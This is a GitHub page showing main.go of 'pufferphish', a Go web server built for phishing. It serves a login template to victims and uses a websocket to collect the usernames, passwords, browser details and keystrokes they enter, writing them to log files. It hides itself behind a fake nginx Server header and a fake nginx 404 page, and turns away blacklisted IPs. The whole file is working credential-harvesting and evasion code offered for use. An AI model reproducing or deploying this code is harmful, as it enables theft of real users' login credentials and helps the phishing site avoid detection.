-
Notifications
You must be signed in to change notification settings - Fork 2
/
main.go
169 lines (134 loc) · 3.34 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
package main
import (
"encoding/json"
"fmt"
"os"
"strings"
"github.com/gofiber/contrib/websocket"
"github.com/gofiber/fiber/v2"
"github.com/gofiber/template/html/v2"
"github.com/ngn13/pufferphish/config"
"github.com/ngn13/pufferphish/log"
"github.com/ngn13/pufferphish/session"
"github.com/ngn13/pufferphish/util"
)
var conf config.Type
func blacklist(c *fiber.Ctx) error{
var ip string
if conf.IPHeader == "" || strings.ToLower(conf.IPHeader) == "none" {
ip = c.IP()
}else {
ip = c.Get(conf.IPHeader)
}
for _, b := range conf.Blacklist {
if b == ip {
return notfound(c)
}
}
return c.Next()
}
func phish(c *fiber.Ctx) error {
sess := session.New()
return c.Render(conf.Template, &fiber.Map{
"static": util.Join(conf.Path, "static"),
"report": util.Join(conf.Path, "report"),
"session": sess,
})
}
func notfound(c *fiber.Ctx) error {
c.Set("Content-Type", "text/html; charset=utf-8")
// fake nginx 404 page
return c.Status(404).SendString(`<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx</center>
</body>
</html>
`)
}
func reportws(c *websocket.Conn) {
var (
message []byte
err error
ip string
mt int
)
if conf.IPHeader == "" || strings.ToLower(conf.IPHeader) == "none" {
ip = c.IP()
}else {
ip = c.Headers(conf.IPHeader)
}
var file log.File = log.File{
IP: ip,
}
for {
var data map[string]string
if mt, message, err = c.ReadMessage(); err != nil {
break
}
err = json.Unmarshal(message, &data)
if err != nil {
break
}
if data["session"] == ""{
break
}
if !session.Contains(data["session"]) {
break
}
file.Session = data["session"]
if data["browser"] != "" {
file.Write("INFO", fmt.Sprintf("Detected browser: %s", data["browser"]))
continue
}
if data["username"] != "" || data["password"] != "" {
file.Write("LOGIN", fmt.Sprintf("Username: %s", data["username"]))
file.Write("LOGIN", fmt.Sprintf("Password: %s", data["password"]))
ret := make(map[string]bool)
ret["done"] = true
msg, err := json.Marshal(&ret)
if err != nil {
log.Err("Failed to dump JSON response: %s", err.Error())
break
}
c.WriteMessage(mt, msg)
break
}
if data["key"] != "" {
file.Write("KEY", data["key"])
}
}
}
func report(c *fiber.Ctx) error {
if websocket.IsWebSocketUpgrade(c) {
return c.Next()
}
return c.Status(426).Send([]byte{})
}
func main(){
err := conf.Read()
if err != nil {
log.Err("Failed to read configuration: %s", err.Error())
os.Exit(1)
}
engine := html.New("./templates", ".html")
app := fiber.New(fiber.Config{
DisableStartupMessage: true,
ServerHeader: "nginx", // fake
Views: engine,
})
app.Static(util.Join(conf.Path, "static"), "./static")
app.Use("*", blacklist)
app.Use(util.Join(conf.Path, "report"), report)
app.Get(util.Join(conf.Path, "report"), websocket.New(reportws))
app.Get(conf.Path, phish)
app.All("*", notfound)
log.Info("Starting the pufferphish on %s 🐡", conf.Host)
log.Info("The phishing template is served at %s", conf.Path)
err = app.Listen(conf.Host);
if err != nil {
log.Err("Failed to start the server: %s", err.Error())
os.Exit(1)
}
}